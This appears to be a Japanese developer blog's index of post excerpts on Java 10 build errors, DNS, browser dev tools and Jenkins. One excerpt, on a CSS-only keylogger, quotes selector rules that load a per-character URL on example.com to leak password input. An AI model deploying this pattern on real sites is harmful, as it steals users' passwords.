EclipseLink-2.7.1とJava10でweaverが動かない(ことがある)

Java10上でEclipseLinkを動かすと、 Weaver encountered an exception while trying to weave class foo/bar/Baz. The exception was: null という警告が出ることがあります。nullってなんだよおい。 調べた所、EclipseLinkが内部に保持しているASMのバージ…

Kotlin + Gradle + Java10が動かない

タイトル通り。Kotlin1.2 + Gradle4.6 + Java10で動かすとエラーになります。こんな感じ。 Caused by: java.lang.ArrayIndexOutOfBoundsException: 448 at org.jetbrains.org.objectweb.asm.ClassReader.readUnsignedShort(ClassReader.java:2464) at org.je…

CSSだけでキーロガーを作る(※追記あり)

github.com よくもまあこんなこと思いついたなw 要するに、 input[type="password"][value$="a"] { background-image: url("http://example.com/a"); } input[type="password"][value$="b"] { background-image: url("http://example.com/b"); } ... とする…

安全なpublic DNSを設定する

(出典: cryptoaustralia.org) 安全を謳うpublic DNSはいくつかあります。 有名なところはNorton ConnectSafeです。僕も自宅で使っておりました。(※個人利用は無料) ですが、ある日突然、zuluのyumリポジトリをブロックしてしまったので、乗換先を探すことに…

開発者コンソールでファイルダウンロードのHTTPログを見る

ファイルダウンロードの場合は別タブでのHTTPという扱いになるため、 ダウンロードリンクのクリック元となる画面の、開発者コンソールにHTTPログが表示されません。 とは言え、ダウンロード側のタブはダウンロードが終わったら直ちにクローズされるため、開…

Jenkins-2.89.1に更新したらスレーブに接続できなくなった→Pluginを別途インストール

Jenkinsの更新がリリースされていたので更新したら、スレーブが全て接続不能になりました…マジかよ。 超絶困るのですぐに調査した所、どうも「マスターでコマンドを起動してエージェントを起動する」が削除されてしまったようです。 え…? みんな、これ使っ…

ITmediaで記事を書きました

ITmediaで超高速開発に関する記事を書きました。 日頃から僕がどのような考えに基づいて取り組んでいるかを、ざっとまとめた感じです。 www.itmedia.co.jp ご意見・ご感想はお気軽に!